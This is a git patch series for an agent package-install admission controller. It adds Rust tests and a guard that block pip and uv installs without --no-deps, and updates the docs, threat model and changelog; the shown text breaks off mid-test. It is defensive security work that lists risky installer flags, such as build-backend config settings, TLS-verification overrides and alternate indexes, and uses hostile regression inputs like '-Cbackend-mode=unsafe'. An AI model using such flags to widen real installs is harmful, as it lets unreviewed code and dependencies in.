55224399ca0a4f20d6617fb811e4ec96cb3dcbbc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:07:27 +0900 Subject: [PATCH 189/702] test(admission): reject unreviewed PyPI dependency expansion --- .../pypi_dependency_cardinality_contract.rs | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs new file mode 100644 index 00000000..f1c0e625 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -0,0 +1,109 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pypi_install_without_no_deps_cannot_expand_beyond_the_reviewed_artifact_set() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, false); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not resolve undeclared transitive artifacts from an approval that binds only the declared artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} must report the missing dependency-cardinality safety flag" + ); + } +} + +#[test] +fn pypi_install_with_no_deps_preserves_the_reviewed_artifact_cardinality() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, true); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pypi_install(executable: &str, include_no_deps: bool) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-exact-artifact-set".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + }; + argv.push("--require-hashes".to_string()); + if include_no_deps { + argv.push("--no-deps".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-pypi-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 3069570736bdc4f1975bd698a3849b84cc4b2ba4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:08:40 +0900 Subject: [PATCH 190/702] fix(admission): model exact PyPI dependency cardinality --- .../src/dependency_cardinality.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/dependency_cardinality.rs diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs new file mode 100644 index 00000000..56fb836d --- /dev/null +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether a supported PyPI install can resolve dependencies that are +/// absent from the reviewed artifact set. +pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + let is_pypi_install = match executable { + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + + is_pypi_install && !arguments.iter().any(|argument| argument == "--no-deps") +} From 3eb2a3213bf276bc27997b62d0e738d856cacc7a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:08:50 +0900 Subject: [PATCH 191/702] fix(admission): enforce exact PyPI dependency set --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index fa677ac0..8e21fd77 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -4,6 +4,7 @@ mod admission; mod artifact_variant; mod audit; mod config; +mod dependency_cardinality; mod http; mod oci_transport; mod policy; @@ -35,6 +36,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if dependency_cardinality::misses_exact_dependency_set_guard(intent) { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From 28333cd95bcfebb2066812baba43cf63cb8c226b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:09:36 +0900 Subject: [PATCH 192/702] test(admission): keep exact PyPI positives dependency-bounded --- .../tests/pypi_artifact_variant_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 110cc8e2..f6258a12 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -119,6 +119,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "install".to_string(), format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), + "--no-deps".to_string(), ]) } @@ -129,6 +130,7 @@ fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { "install".to_string(), format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), + "--no-deps".to_string(), ]) } From ad52a4440a6aa5960e7c99ce3fe7a0b529c91fe5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:10:16 +0900 Subject: [PATCH 193/702] docs(admission): trace uv and dependency cardinality controls --- docs/doctoring/pypi-artifact-variant.md | 26 +++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md index e7f66ca4..a14fe4f8 100644 --- a/docs/doctoring/pypi-artifact-variant.md +++ b/docs/doctoring/pypi-artifact-variant.md @@ -1,29 +1,39 @@ # PyPI artifact and build-variant admission traceability -Verified 2026-09-04 against the current pip documentation and a local no-index/dry-run parser probe. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. +Verified 2026-09-04 against the current pip and Astral uv documentation plus local parser/help probes. This note records why caller-selected compatibility/build controls and resolver-driven dependency expansion are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes installers, verifies downloaded bytes, or owns hostile execution isolation. ## Decision -An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. +An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, PEP 517 backend settings, or an undeclared transitive dependency closure. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not widen them. -Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers both separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. +For `pip install` / `pip3 install`, Wardnet fails closed as `artifact_not_approved` when argv carries caller-selected `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. + +`uv pip install` is a separately supported command path, not an alias that may inherit pip approval implicitly. Wardnet therefore also fails closed on uv target/build selectors that can change the selected distribution or build path, including `--python-platform`, binary/source selection, build disabling/isolation controls, and `-C` / config-setting controls. The exact reviewed artifact set is additionally dependency-cardinality bounded: `pip`, `pip3`, and `uv pip install` must carry the exact `--no-deps` safety flag, alongside the existing hash-checking requirement, so the installer cannot resolve extra transitive artifacts absent from `InstallIntent.artifacts`. + +The downstream execution broker remains responsible for independently verifying every retrieved artifact byte sequence against the admitted digest/provenance before installation. An admission `allow` receipt is not execution authority. ## Evidence -The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. +The pip install reference documents compatibility selectors that alter the wheel set, binary/source controls that change distribution choice, build-isolation/config-setting controls that change source-build behavior, and `--no-deps` as the switch that suppresses dependency installation. pip's repeatable-install guidance recommends pinning the full dependency graph and notes that `--no-deps` provides additional assurance that nothing outside the explicitly supplied set is installed. + +Astral's current `uv pip install` reference likewise exposes `--python-platform`, `--no-binary`, `--no-build`, `--no-build-isolation`, package-scoped build controls, `-C` / `--config-setting`, and `--no-deps`. Those controls are semantically relevant even though uv's option vocabulary differs from pip's. A provider-neutral Wardnet approval therefore cannot treat `uv` as automatically safe merely because the requested package name/version matches a reviewed PyPI coordinate. -A local `python -m pip install --dry-run --no-index -Cbackend-mode=unsafe definitely-nonexistent-package-cwl-wardnet==0` parser probe reached ordinary package resolution and failed only because no matching distribution exists. That confirms pip accepts the required value attached to short `-C`; a guard that recognized only exact `-C` or `-C=...` would be bypassable. +Local parser probes confirmed pip accepts attached short `-Cbackend-mode=unsafe`, and current uv help/parser behavior accepts the guarded `uv pip install` target/build controls and `--no-deps`. Parser probing is evidence about command interpretation only; it is not a substitute for exact-head repository tests or downstream artifact verification. -This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. +This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant or undeclared artifact expansion that the policy does not encode. NIST SSDF requires software-integrity controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build/dependency authority. ## RED → GREEN -RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. +The earlier PyPI lineage established pip compatibility/build-variant rejection (`9f11a7f90902c83f796aeda990f33425739b9c46` -> `a23583a533babf256ad81e9c882759662fe33f2b` -> `b3336704f346a174a7ea9fcc4b0403ef22a8c06b`) and then closed the attached `-C` parser spelling (`aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` -> `c8546f4db70dc8cbc86bedf1d050a0eb5974073f`). -A follow-up parser verification found the attached short-option spelling `-Cbackend-mode=unsafe`. RED `aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` added that hostile case before production changed; GREEN `c8546f4db70dc8cbc86bedf1d050a0eb5974073f` made the short required-value guard recognize attached values without widening the long-option matcher. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. +RED `2b78613d742a48aef1f9f0bda085a18be076219e` added hostile `uv pip install` target/build selectors that the preceding implementation did not inspect. GREEN `c655cbcc491b3be51bddaac737722888e10444ab` made PyPI artifact-variant admission distinguish pip-compatible command shapes and fail closed on uv-specific target/build authority. + +A second review found that exact approved operands still permitted pip/uv resolvers to introduce undeclared transitive artifacts. RED `55224399ca0a4f20d6617fb811e4ec96cb3dcbbc` requires missing `--no-deps` to block for pip, pip3, and uv. Production commits `3069570736bdc4f1975bd698a3849b84cc4b2ba4` and `3eb2a3213bf276bc27997b62d0e738d856cacc7a` add and route the dependency-cardinality guard; `28333cd95bcfebb2066812baba43cf63cb8c226b` updates positive artifact-variant fixtures so the allowed path remains explicitly dependency-bounded. Hosted exact-head CI/security evidence is still required before integration readiness is claimed. ## References +Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* Retrieved September 4, 2026, from https://docs.astral.sh/uv/reference/cli/ + National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 pip developers. (2026). *pip install: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ From c83e235c310fe5fa049d9ee80d8caccf23e711f8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:10:52 +0900 Subject: [PATCH 194/702] docs(security): bind PyPI resolver authority --- .../security/agent-artifact-admission-threat-model.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a65e43a5..99ced548 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,20 +16,23 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references +- Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* https://docs.astral.sh/uv/reference/cli/ - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ +- pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ +- pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs @@ -40,4 +43,4 @@ SHA-256 equality proves byte identity only when the execution path independently - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From f25e20bd2d6fd9af951ecf3f616b74afc077cc3d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:11:20 +0900 Subject: [PATCH 195/702] docs(changelog): record exact PyPI dependency admission --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ce0e3f47..c4c10800 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,8 +5,8 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. -- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected pip resolution or build variants: `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `-C` / `--config-settings` fail closed as `artifact_not_approved` until policy can bind wheel compatibility tags or source-build/backend configuration explicitly. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. @@ -15,5 +15,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 4484acd2f7c9609ab16ddc68a748cac6cd49b51d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:31:29 +0900 Subject: [PATCH 196/702] test(admission): bind Cargo version identity --- .../tests/cargo_version_identity_contract.rs | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs new file mode 100644 index 00000000..71e7ca3a --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -0,0 +1,124 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + +#[test] +fn cargo_version_selector_cannot_override_reviewed_artifact_version() { + for version_selector in ["--version=9.9.9", "--vers=9.9.9"] { + let artifact_argument = "cwl-example"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + 